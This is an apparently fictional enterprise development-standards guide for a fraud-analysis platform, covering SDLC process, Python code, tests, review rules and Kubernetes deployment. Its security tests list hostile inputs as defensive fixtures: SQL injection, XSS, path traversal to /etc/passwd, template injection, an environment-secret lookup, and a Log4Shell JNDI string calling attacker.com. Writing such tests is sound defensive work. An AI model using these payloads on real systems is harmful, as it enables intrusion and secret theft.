This document outlines FraudGuard's enterprise development standards, covering the complete Software Development Lifecycle (SDLC), from planning through deployment and maintenance. Our processes ensure high-quality, secure, and compliant code delivery at enterprise scale.
- Security by Design: Security integrated from the first line of code
- Quality First: Never compromise on code quality for speed
- Test-Driven Development: Tests written before implementation
- Continuous Integration: All code changes automatically validated
- Documentation as Code: Documentation maintained alongside code
- Shift-Left Security: Security testing in development phase
- Observability by Default: All code includes monitoring and logging
- Code Reviews: All code must be reviewed by at least 2 senior engineers
- Pair Programming: Complex features developed in pairs
- Blameless Postmortems: Focus on system improvements, not individual fault
- Continuous Learning: 20% time for learning and technical debt reduction
- Open Source First: Prefer open source solutions, contribute back to community
planning_process:
requirements_gathering:
stakeholders: ["Product Owner", "Tech Lead", "Security Champion", "Compliance Officer"]
deliverables:
- business_requirements_document
- technical_requirements_document
- security_requirements_document
- compliance_requirements_document
architecture_design:
reviews: ["Architecture Review Board", "Security Review Board"]
deliverables:
- system_architecture_document
- data_flow_diagrams
- threat_model
- api_specifications
project_planning:
methodology: "SAFe (Scaled Agile)"
sprint_duration: "2 weeks"
planning_horizon: "3 months (6 sprints)"
deliverables:
- epic_breakdown
- story_mapping
- acceptance_criteria
- definition_of_done# Example: Enterprise Python Code Standards
from typing import Dict, List, Optional, Union
from dataclasses import dataclass
from datetime import datetime
import logging
# Configure structured logging
logger = logging.getLogger(__name__)
@dataclass
class TransactionRequest:
"""
Transaction analysis request model.
Attributes:
transaction_id: Unique identifier for the transaction
user_id: User making the transaction
amount: Transaction amount in smallest currency unit (cents)
currency: ISO 4217 currency code
timestamp: Transaction timestamp in UTC
merchant_id: Merchant identifier
metadata: Additional transaction metadata
"""
transaction_id: str
user_id: str
amount: int # Amount in cents to avoid float precision issues
currency: str
timestamp: datetime
merchant_id: str
metadata: Optional[Dict[str, Union[str, int, float]]] = None
def __post_init__(self):
"""Validate transaction request after initialization."""
self._validate_transaction_id()
self._validate_amount()
self._validate_currency()
def _validate_transaction_id(self) -> None:
"""Validate transaction ID format."""
if not self.transaction_id or len(self.transaction_id) < 10:
raise ValueError("Transaction ID must be at least 10 characters")
def _validate_amount(self) -> None:
"""Validate transaction amount."""
if self.amount <= 0:
raise ValueError("Transaction amount must be positive")
if self.amount > 10_000_000: # $100,000 limit
raise ValueError("Transaction amount exceeds maximum limit")
def _validate_currency(self) -> None:
"""Validate currency code."""
valid_currencies = {"USD", "EUR", "GBP", "CAD", "AUD"}
if self.currency not in valid_currencies:
raise ValueError(f"Unsupported currency: {self.currency}")
class FraudAnalysisService:
"""
Enterprise fraud analysis service with comprehensive error handling,
logging, metrics, and security controls.
"""
def __init__(self, config: Dict[str, str]):
"""
Initialize fraud analysis service.
Args:
config: Service configuration dictionary
"""
self.config = config
self.metrics = self._initialize_metrics()
self.security_validator = SecurityValidator()
logger.info(
"FraudAnalysisService initialized",
extra={
"service_version": "2.0.0",
"config_hash": self._hash_config(config)
}
)
async def analyze_transaction(
self,
request: TransactionRequest,
user_context: Optional[Dict[str, str]] = None
) -> Dict[str, Union[str, float, int]]:
"""
Analyze transaction for fraud indicators.
Args:
request: Transaction analysis request
user_context: Additional user context for analysis
Returns:
Dictionary containing fraud analysis results
Raises:
ValidationError: If request validation fails
SecurityError: If security validation fails
ServiceUnavailableError: If required services are down
"""
# Start request tracking
request_id = self._generate_request_id()
start_time = datetime.utcnow()
logger.info(
"Starting fraud analysis",
extra={
"request_id": request_id,
"transaction_id": request.transaction_id,
"user_id": request.user_id,
"amount": request.amount,
"currency": request.currency
}
)
try:
# Input validation and sanitization
validated_request = await self._validate_and_sanitize_request(request)
# Security checks
await self.security_validator.validate_request(validated_request, user_context)
# Rate limiting check
await self._check_rate_limits(validated_request.user_id)
# Fraud analysis
analysis_result = await self._perform_fraud_analysis(validated_request)
# Audit logging
await self._log_analysis_result(request_id, validated_request, analysis_result)
# Update metrics
self._update_metrics(analysis_result, start_time)
return analysis_result
except ValidationError as e:
logger.error(
"Request validation failed",
extra={
"request_id": request_id,
"error": str(e),
"transaction_id": request.transaction_id
}
)
self.metrics.validation_errors.inc()
raise
except SecurityError as e:
logger.error(
"Security validation failed",
extra={
"request_id": request_id,
"error": str(e),
"transaction_id": request.transaction_id
},
# Flag as security event for SIEM
security_event=True
)
self.metrics.security_errors.inc()
raise
except Exception as e:
logger.exception(
"Unexpected error during fraud analysis",
extra={
"request_id": request_id,
"transaction_id": request.transaction_id,
"error_type": type(e).__name__
}
)
self.metrics.internal_errors.inc()
# Return safe fallback result
return self._get_fallback_result(request)code_review_checklist:
functionality:
- "Does the code solve the stated problem?"
- "Are edge cases properly handled?"
- "Is error handling comprehensive?"
- "Are return types consistent with documentation?"
security:
- "Are all inputs properly validated and sanitized?"
- "Are sensitive data properly encrypted/tokenized?"
- "Are authentication and authorization checks present?"
- "Are security headers properly set?"
- "Is logging free of sensitive information?"
performance:
- "Are database queries optimized?"
- "Is caching implemented where appropriate?"
- "Are there potential memory leaks?"
- "Is the algorithm complexity reasonable?"
maintainability:
- "Is the code self-documenting with clear variable names?"
- "Are functions/methods single-purpose?"
- "Is the code DRY (Don't Repeat Yourself)?"
- "Are magic numbers replaced with named constants?"
testing:
- "Are unit tests comprehensive (>90% coverage)?"
- "Are integration tests included?"
- "Are security tests included?"
- "Do tests cover edge cases and error conditions?"
compliance:
- "Does the code meet PCI DSS requirements?"
- "Are GDPR privacy requirements satisfied?"
- "Is audit logging implemented?"
- "Are data retention policies enforced?"
mandatory_approvals:
standard_changes:
required_approvers: 2
approver_roles: ["Senior Engineer", "Tech Lead"]
security_changes:
required_approvers: 3
approver_roles: ["Senior Engineer", "Security Champion", "Tech Lead"]
infrastructure_changes:
required_approvers: 3
approver_roles: ["Senior Engineer", "SRE", "Tech Lead"]
database_changes:
required_approvers: 3
approver_roles: ["Senior Engineer", "DBA", "Tech Lead"]import pytest
import asyncio
from unittest.mock import AsyncMock, Mock, patch
from hypothesis import given, strategies as st
# ========================
# UNIT TESTS (70% of tests)
# ========================
class TestFraudAnalysisService:
"""Comprehensive unit tests for FraudAnalysisService."""
@pytest.fixture
def fraud_service(self):
"""Create fraud service instance for testing."""
config = {
"ml_model_endpoint": "http://localhost:8001",
"feature_store_endpoint": "http://localhost:8002",
"cache_ttl": "300"
}
return FraudAnalysisService(config)
@pytest.fixture
def valid_transaction_request(self):
"""Create valid transaction request for testing."""
return TransactionRequest(
transaction_id="txn_test_12345",
user_id="user_test_67890",
amount=10000, # $100.00
currency="USD",
timestamp=datetime.utcnow(),
merchant_id="merchant_test_abc"
)
def test_transaction_request_validation_success(self, valid_transaction_request):
"""Test successful transaction request validation."""
# Should not raise any exception
assert valid_transaction_request.transaction_id == "txn_test_12345"
assert valid_transaction_request.amount == 10000
@pytest.mark.parametrize("invalid_amount", [-100, 0, 20_000_000])
def test_transaction_request_validation_invalid_amount(self, invalid_amount):
"""Test transaction request validation with invalid amounts."""
with pytest.raises(ValueError, match="amount"):
TransactionRequest(
transaction_id="txn_test_12345",
user_id="user_test_67890",
amount=invalid_amount,
currency="USD",
timestamp=datetime.utcnow(),
merchant_id="merchant_test_abc"
)
@pytest.mark.parametrize("invalid_currency", ["INVALID", "US", "123"])
def test_transaction_request_validation_invalid_currency(self, invalid_currency):
"""Test transaction request validation with invalid currencies."""
with pytest.raises(ValueError, match="Unsupported currency"):
TransactionRequest(
transaction_id="txn_test_12345",
user_id="user_test_67890",
amount=10000,
currency=invalid_currency,
timestamp=datetime.utcnow(),
merchant_id="merchant_test_abc"
)
# Property-based testing with Hypothesis
@given(
amount=st.integers(min_value=1, max_value=9_999_999),
currency=st.sampled_from(["USD", "EUR", "GBP", "CAD", "AUD"])
)
def test_transaction_request_property_based(self, amount, currency):
"""Property-based test for transaction request validation."""
request = TransactionRequest(
transaction_id="txn_property_test",
user_id="user_property_test",
amount=amount,
currency=currency,
timestamp=datetime.utcnow(),
merchant_id="merchant_property_test"
)
assert request.amount > 0
assert request.currency in {"USD", "EUR", "GBP", "CAD", "AUD"}
@pytest.mark.asyncio
async def test_analyze_transaction_success(self, fraud_service, valid_transaction_request):
"""Test successful fraud analysis."""
with patch.object(fraud_service, '_validate_and_sanitize_request') as mock_validate, \
patch.object(fraud_service.security_validator, 'validate_request') as mock_security, \
patch.object(fraud_service, '_check_rate_limits') as mock_rate_limit, \
patch.object(fraud_service, '_perform_fraud_analysis') as mock_analysis:
mock_validate.return_value = valid_transaction_request
mock_security.return_value = None
mock_rate_limit.return_value = None
mock_analysis.return_value = {
"fraud_probability": 0.15,
"risk_level": "low",
"recommendation": "approve"
}
result = await fraud_service.analyze_transaction(valid_transaction_request)
assert result["fraud_probability"] == 0.15
assert result["risk_level"] == "low"
assert result["recommendation"] == "approve"
mock_validate.assert_called_once()
mock_security.assert_called_once()
mock_rate_limit.assert_called_once()
mock_analysis.assert_called_once()
# ========================
# INTEGRATION TESTS (20% of tests)
# ========================
@pytest.mark.integration
class TestFraudAnalysisIntegration:
"""Integration tests with real dependencies."""
@pytest.fixture(scope="class")
def test_database(self):
"""Set up test database for integration tests."""
# Set up test database
test_db = setup_test_database()
yield test_db
# Cleanup
cleanup_test_database(test_db)
@pytest.fixture(scope="class")
def test_redis(self):
"""Set up test Redis for integration tests."""
test_redis = setup_test_redis()
yield test_redis
cleanup_test_redis(test_redis)
@pytest.mark.asyncio
async def test_end_to_end_fraud_analysis(self, test_database, test_redis):
"""End-to-end integration test with real database and cache."""
fraud_service = FraudAnalysisService({
"database_url": test_database.url,
"redis_url": test_redis.url
})
transaction = TransactionRequest(
transaction_id="txn_integration_test",
user_id="user_integration_test",
amount=50000, # $500.00
currency="USD",
timestamp=datetime.utcnow(),
merchant_id="merchant_integration_test"
)
result = await fraud_service.analyze_transaction(transaction)
# Verify result structure
assert "fraud_probability" in result
assert "risk_level" in result
assert "recommendation" in result
assert isinstance(result["fraud_probability"], float)
assert 0 <= result["fraud_probability"] <= 1
assert result["risk_level"] in ["very_low", "low", "medium", "high", "critical"]
assert result["recommendation"] in ["approve", "manual_review", "decline"]
# Verify data was persisted
analysis_record = await get_analysis_record(transaction.transaction_id)
assert analysis_record is not None
assert analysis_record.fraud_probability == result["fraud_probability"]
# ========================
# E2E TESTS (10% of tests)
# ========================
@pytest.mark.e2e
class TestFraudAnalysisE2E:
"""End-to-end tests simulating real user scenarios."""
@pytest.mark.asyncio
async def test_api_fraud_analysis_flow(self):
"""Test complete API flow for fraud analysis."""
async with httpx.AsyncClient() as client:
# Authenticate
auth_response = await client.post("/api/v1/auth/token", json={
"username": "test_user",
"password": "test_password"
})
assert auth_response.status_code == 200
token = auth_response.json()["access_token"]
headers = {"Authorization": f"Bearer {token}"}
# Submit fraud analysis request
transaction_data = {
"transaction_id": "txn_e2e_test",
"user_id": "user_e2e_test",
"amount": 25000, # $250.00
"currency": "USD",
"timestamp": datetime.utcnow().isoformat(),
"merchant_id": "merchant_e2e_test"
}
response = await client.post(
"/api/v1/fraud/analyze",
json=transaction_data,
headers=headers
)
assert response.status_code == 200
result = response.json()
# Verify response structure and content
assert "fraud_probability" in result
assert "risk_level" in result
assert "recommendation" in result
assert "analysis_timestamp" in result
assert "model_version" in result
# Verify response times
assert response.elapsed.total_seconds() < 0.1 # < 100ms
# Verify audit trail was created
audit_response = await client.get(
f"/api/v1/audit/transaction/{transaction_data['transaction_id']}",
headers=headers
)
assert audit_response.status_code == 200
audit_data = audit_response.json()
assert audit_data["transaction_id"] == transaction_data["transaction_id"]
assert audit_data["analysis_result"] is not None
# ========================
# PERFORMANCE TESTS
# ========================
@pytest.mark.performance
class TestFraudAnalysisPerformance:
"""Performance tests for fraud analysis service."""
@pytest.mark.asyncio
async def test_analysis_latency_under_load(self):
"""Test analysis latency under concurrent load."""
fraud_service = FraudAnalysisService(test_config)
async def analyze_transaction():
transaction = create_test_transaction()
start_time = time.time()
result = await fraud_service.analyze_transaction(transaction)
end_time = time.time()
return end_time - start_time, result
# Run 100 concurrent requests
tasks = [analyze_transaction() for _ in range(100)]
results = await asyncio.gather(*tasks)
latencies = [r[0] for r in results]
# Verify performance requirements
assert np.percentile(latencies, 50) < 0.050 # P50 < 50ms
assert np.percentile(latencies, 95) < 0.100 # P95 < 100ms
assert np.percentile(latencies, 99) < 0.200 # P99 < 200ms
# Verify all requests succeeded
assert all(r[1] is not None for r in results)
# ========================
# SECURITY TESTS
# ========================
@pytest.mark.security
class TestFraudAnalysisSecurity:
"""Security tests for fraud analysis service."""
@pytest.mark.asyncio
async def test_sql_injection_protection(self):
"""Test protection against SQL injection attacks."""
fraud_service = FraudAnalysisService(test_config)
# SQL injection attempt in transaction_id
malicious_transaction = TransactionRequest(
transaction_id="'; DROP TABLE transactions; --",
user_id="user_test",
amount=10000,
currency="USD",
timestamp=datetime.utcnow(),
merchant_id="merchant_test"
)
# Should either reject the request or safely handle it
try:
result = await fraud_service.analyze_transaction(malicious_transaction)
# If it doesn't raise an exception, verify the database is safe
assert await verify_database_integrity()
except ValidationError:
# Expected behavior - input validation should catch this
pass
@pytest.mark.asyncio
async def test_rate_limiting_enforcement(self):
"""Test rate limiting is properly enforced."""
fraud_service = FraudAnalysisService(test_config)
# Make requests exceeding rate limit
tasks = []
for i in range(150): # Assuming limit is 100/minute
transaction = create_test_transaction(user_id="rate_limit_test_user")
tasks.append(fraud_service.analyze_transaction(transaction))
results = await asyncio.gather(*tasks, return_exceptions=True)
# Some requests should be rate limited
rate_limit_errors = [r for r in results if isinstance(r, RateLimitError)]
assert len(rate_limit_errors) > 0
def test_sensitive_data_not_in_logs(self, caplog):
"""Test that sensitive data is not logged."""
transaction = TransactionRequest(
transaction_id="txn_sensitive_test",
user_id="user_sensitive_test",
amount=10000,
currency="USD",
timestamp=datetime.utcnow(),
merchant_id="merchant_sensitive_test",
metadata={"credit_card_number": "4532-1234-5678-9012"}
)
fraud_service = FraudAnalysisService(test_config)
with caplog.at_level(logging.INFO):
# This will log transaction analysis
asyncio.run(fraud_service.analyze_transaction(transaction))
# Check that sensitive data is not in logs
all_logs = " ".join(caplog.messages)
assert "4532-1234-5678-9012" not in all_logs
assert "credit_card_number" not in all_logs# Security Testing Configuration
security_testing:
static_analysis:
tools:
- bandit: "Python security issues"
- semgrep: "General security patterns"
- safety: "Vulnerable dependencies"
- checkov: "Infrastructure security"
thresholds:
critical: 0
high: 0
medium: 5
low: 20
dynamic_analysis:
tools:
- zap: "OWASP ZAP for API security"
- sqlmap: "SQL injection testing"
- nuclei: "Vulnerability scanning"
test_environments:
- development
- staging
dependency_scanning:
tools:
- snyk: "Open source vulnerabilities"
- npm_audit: "Node.js dependencies"
- pip_audit: "Python dependencies"
auto_remediation: true
alert_thresholds:
critical: "immediate"
high: "24 hours"
medium: "1 week"import pytest
import sqlparse
from unittest.mock import patch
@pytest.mark.security
class TestSecurityControls:
"""Security-focused test cases."""
def test_input_sanitization(self):
"""Test all inputs are properly sanitized."""
dangerous_inputs = [
"<script>alert('xss')</script>",
"'; DROP TABLE users; --",
"../../../etc/passwd",
"${jndi:ldap://attacker.com/exploit}",
"{{7*7}}",
"${env:AWS_SECRET_KEY}"
]
fraud_service = FraudAnalysisService(test_config)
for dangerous_input in dangerous_inputs:
transaction = TransactionRequest(
transaction_id=dangerous_input,
user_id="test_user",
amount=10000,
currency="USD",
timestamp=datetime.utcnow(),
merchant_id=dangerous_input
)
# Should either sanitize or reject
with pytest.raises((ValidationError, SecurityError)):
asyncio.run(fraud_service.analyze_transaction(transaction))
def test_authentication_required(self):
"""Test all endpoints require authentication."""
protected_endpoints = [
"/api/v1/fraud/analyze",
"/api/v1/users/profile",
"/api/v1/admin/users",
"/api/v1/analytics/dashboard"
]
for endpoint in protected_endpoints:
response = requests.post(f"http://localhost:8000{endpoint}")
assert response.status_code in [401, 403]
def test_authorization_enforcement(self):
"""Test role-based authorization is enforced."""
# Regular user token
user_token = create_test_token(role="user")
# Admin token
admin_token = create_test_token(role="admin")
admin_endpoints = [
"/api/v1/admin/users",
"/api/v1/admin/system",
"/api/v1/admin/config"
]
for endpoint in admin_endpoints:
# Regular user should be denied
response = requests.get(
f"http://localhost:8000{endpoint}",
headers={"Authorization": f"Bearer {user_token}"}
)
assert response.status_code == 403
# Admin should be allowed
response = requests.get(
f"http://localhost:8000{endpoint}",
headers={"Authorization": f"Bearer {admin_token}"}
)
assert response.status_code in [200, 204]
def test_secure_headers_present(self):
"""Test security headers are present in responses."""
response = requests.get("http://localhost:8000/api/v1/health")
required_headers = {
"X-Content-Type-Options": "nosniff",
"X-Frame-Options": "DENY",
"X-XSS-Protection": "1; mode=block",
"Strict-Transport-Security": "max-age=31536000; includeSubDomains",
"Content-Security-Policy": "default-src 'self'"
}
for header, expected_value in required_headers.items():
assert header in response.headers
if expected_value:
assert expected_value in response.headers[header]branch_strategy:
protected_branches:
main:
protection_rules:
- require_pull_request_reviews: 2
- dismiss_stale_reviews: true
- require_code_owner_reviews: true
- require_status_checks: true
- require_up_to_date_branches: true
- include_administrators: true
develop:
protection_rules:
- require_pull_request_reviews: 1
- require_status_checks: true
- require_up_to_date_branches: true
branch_naming_convention:
feature: "feature/JIRA-123-short-description"
bugfix: "bugfix/JIRA-456-short-description"
hotfix: "hotfix/JIRA-789-short-description"
release: "release/v2.1.0"
commit_message_convention:
format: "type(scope): description"
types: ["feat", "fix", "docs", "style", "refactor", "test", "chore", "security"]
max_length: 72
require_issue_reference: true
examples:
- "feat(fraud-api): add real-time fraud scoring endpoint"
- "fix(auth): resolve JWT token expiration issue [JIRA-123]"
- "security(input): sanitize user input to prevent XSS [SEC-456]"# Pull Request Template
## Description
Brief description of what this PR does
## Type of Change
- [ ] Bug fix (non-breaking change which fixes an issue)
- [ ] New feature (non-breaking change which adds functionality)
- [ ] Breaking change (fix or feature that would cause existing functionality to not work as expected)
- [ ] This change requires a documentation update
- [ ] Security fix
## Related Issues
- Fixes #[issue-number]
- Closes #[issue-number]
- Related to #[issue-number]
## Testing
- [ ] Unit tests pass locally
- [ ] Integration tests pass locally
- [ ] Security tests pass locally
- [ ] Manual testing completed
- [ ] Performance testing completed (if applicable)
## Security Review
- [ ] Input validation implemented
- [ ] Authentication/authorization checks added
- [ ] Sensitive data properly handled
- [ ] Security scan results reviewed
- [ ] No secrets in code
## Documentation
- [ ] Code is self-documenting
- [ ] API documentation updated
- [ ] README updated (if applicable)
- [ ] Architecture documentation updated (if applicable)
## Deployment
- [ ] Database migrations included (if applicable)
- [ ] Environment variables updated (if applicable)
- [ ] Feature flags configured (if applicable)
- [ ] Monitoring/alerting configured
## Checklist
- [ ] Code follows style guidelines
- [ ] Self-review of code completed
- [ ] Code is covered by tests (minimum 90% coverage)
- [ ] No lint warnings or errors
- [ ] All conversations resolved
- [ ] Ready for deployment
## Screenshots (if applicable)
Attach any relevant screenshots
## Additional Notes
Any additional context or notes for reviewersclass QualityGates:
"""Automated quality gates for code changes."""
QUALITY_THRESHOLDS = {
'code_coverage': 0.90, # 90% minimum coverage
'cyclomatic_complexity': 10, # Maximum complexity per function
'maintainability_index': 70, # Minimum maintainability score
'technical_debt_ratio': 0.05, # Maximum 5% technical debt
'duplication_percentage': 0.03, # Maximum 3% code duplication
'security_hotspots': 0, # Zero critical security issues
'bug_density': 0.001, # Maximum 1 bug per 1000 lines
'vulnerability_count': 0 # Zero high/critical vulnerabilities
}
@staticmethod
def check_quality_gates(metrics: Dict[str, float]) -> Dict[str, bool]:
"""Check if code meets quality gates."""
results = {}
for metric, threshold in QualityGates.QUALITY_THRESHOLDS.items():
if metric in metrics:
if metric in ['technical_debt_ratio', 'duplication_percentage',
'security_hotspots', 'bug_density', 'vulnerability_count']:
# Lower is better for these metrics
results[metric] = metrics[metric] <= threshold
else:
# Higher is better for these metrics
results[metric] = metrics[metric] >= threshold
else:
results[metric] = False
return results
@staticmethod
def generate_quality_report(metrics: Dict[str, float]) -> str:
"""Generate human-readable quality report."""
gate_results = QualityGates.check_quality_gates(metrics)
report = "Code Quality Report\n"
report += "=" * 20 + "\n\n"
for metric, passed in gate_results.items():
status = "✅ PASS" if passed else "❌ FAIL"
actual = metrics.get(metric, "N/A")
threshold = QualityGates.QUALITY_THRESHOLDS[metric]
report += f"{metric}: {status}\n"
report += f" Actual: {actual}, Threshold: {threshold}\n\n"
overall_pass = all(gate_results.values())
report += f"Overall Status: {'✅ PASS' if overall_pass else '❌ FAIL'}\n"
return report# SonarQube Configuration
sonar-project.properties: |
sonar.projectKey=fraud-analytics-platform
sonar.organization=fraudguard
sonar.sources=apps/,fraud_platform/
sonar.tests=tests/
sonar.python.coverage.reportPaths=coverage.xml
sonar.python.xunit.reportPath=test-results.xml
# Quality Gates
sonar.qualitygate.wait=true
# Coverage
sonar.coverage.exclusions=**/migrations/**,**/venv/**,**/tests/**
# Duplications
sonar.cpd.exclusions=**/migrations/**
# Security
sonar.security.hotspots.inheritance=true
# Maintainability
sonar.maintainability.rating=A
# Reliability
sonar.reliability.rating=A
# Security Rating
sonar.security.rating=A# terraform/main.tf - Kubernetes Deployment
resource "kubernetes_deployment" "fraud_analytics" {
metadata {
name = "fraud-analytics-platform"
namespace = var.namespace
labels = {
app = "fraud-analytics-platform"
version = var.app_version
env = var.environment
}
}
spec {
replicas = var.replica_count
selector {
match_labels = {
app = "fraud-analytics-platform"
}
}
template {
metadata {
labels = {
app = "fraud-analytics-platform"
version = var.app_version
}
annotations = {
"prometheus.io/scrape" = "true"
"prometheus.io/port" = "8000"
"prometheus.io/path" = "/metrics"
}
}
spec {
service_account_name = kubernetes_service_account.fraud_analytics.metadata[0].name
security_context {
run_as_non_root = true
run_as_user = 1000
fs_group = 2000
}
container {
name = "fraud-analytics-platform"
image = "${var.container_registry}/fraud-analytics-platform:${var.app_version}"
port {
name = "http"
container_port = 8000
protocol = "TCP"
}
env {
name = "DATABASE_URL"
value_from {
secret_key_ref {
name = kubernetes_secret.database.metadata[0].name
key = "url"
}
}
}
env {
name = "REDIS_URL"
value_from {
secret_key_ref {
name = kubernetes_secret.redis.metadata[0].name
key = "url"
}
}
}
resources {
requests = {
cpu = "500m"
memory = "1Gi"
}
limits = {
cpu = "2000m"
memory = "4Gi"
}
}
liveness_probe {
http_get {
path = "/health"
port = "http"
}
initial_delay_seconds = 30
period_seconds = 10
timeout_seconds = 5
failure_threshold = 3
}
readiness_probe {
http_get {
path = "/ready"
port = "http"
}
initial_delay_seconds = 5
period_seconds = 5
timeout_seconds = 3
failure_threshold = 3
}
security_context {
allow_privilege_escalation = false
capabilities {
drop = ["ALL"]
}
read_only_root_filesystem = true
run_as_non_root = true
run_as_user = 1000
}
volume_mount {
name = "temp-volume"
mount_path = "/tmp"
}
}
volume {
name = "temp-volume"
empty_dir {}
}
image_pull_secrets {
name = "registry-secret"
}
# Pod Anti-Affinity for high availability
affinity {
pod_anti_affinity {
preferred_during_scheduling_ignored_during_execution {
weight = 100
pod_affinity_term {
label_selector {
match_expressions {
key = "app"
operator = "In"
values = ["fraud-analytics-platform"]
}
}
topology_key = "kubernetes.io/hostname"
}
}
}
}
# Node selector for dedicated nodes (if applicable)
node_selector = var.node_selector
# Tolerations for tainted nodes
dynamic "toleration" {
for_each = var.tolerations
content {
key = toleration.value.key
operator = toleration.value.operator
value = toleration.value.value
effect = toleration.value.effect
}
}
}
}
strategy {
type = "RollingUpdate"
rolling_update {
max_unavailable = "25%"
max_surge = "25%"
}
}
}
}This comprehensive enterprise development framework ensures high-quality, secure, and compliant software delivery at scale while maintaining developer productivity and code maintainability.
Next: Enterprise Data Governance 📊